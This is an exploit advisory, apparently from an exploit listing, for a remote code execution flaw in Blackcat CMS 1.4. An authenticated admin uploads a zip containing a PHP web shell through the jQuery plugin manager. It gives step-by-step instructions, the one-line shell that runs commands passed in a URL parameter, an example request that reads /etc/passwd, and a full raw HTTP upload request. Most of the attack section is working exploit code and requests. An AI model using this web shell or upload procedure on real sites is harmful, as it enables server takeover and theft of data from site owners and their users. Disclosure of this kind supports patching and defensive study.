Authored by Mirabbas Agalarov

Blackcat CMS version 1.4 suffers from a remote shell upload vulnerability.

Exploit Title: Blackcat Cms v1.4 - Remote Code Execution (RCE)
Application: blackcat Cms
Version: v1.4
Bugs: RCE
Technology: PHP
Vendor URL: https://blackcat-cms.org/
Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
Date of found: 13.07.2023
Author: Mirabbas A─čalarov
Tested on: Linux


2. Technical Details & POC
========================================
steps:
1. login to account as admin
2. go to admin-tools => jquery plugin (http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr)
3. upload zip file but this zip file must contains poc.php
poc.php file contents
<?php $a=$_GET['code']; echo system($a);?>
4.Go to http://localhost/BlackCatCMS-1.4/upload/modules/lib_jquery/plugins/poc/poc.php?code=cat%20/etc/passwd

Poc request

POST /BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr HTTP/1.1
Host: localhost
Content-Length: 577
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRByJwW3CUSHOcBT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0ti
Connection: close

------WebKitFormBoundaryBRByJwW3CUSHOcBT
Content-Disposition: form-data; name="upload"

1
------WebKitFormBoundaryBRByJwW3CUSHOcBT
Content-Disposition: form-data; name="userfile"; filename="poc.zip"
Content-Type: application/zip

PKvalsdalsfapoc.php<?php
$a=$_GET['code'];
echo system($a);
?>
blabalaboalpoc.php
blablabla
------WebKitFormBoundaryBRByJwW3CUSHOcBT
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryBRByJwW3CUSHOcBT--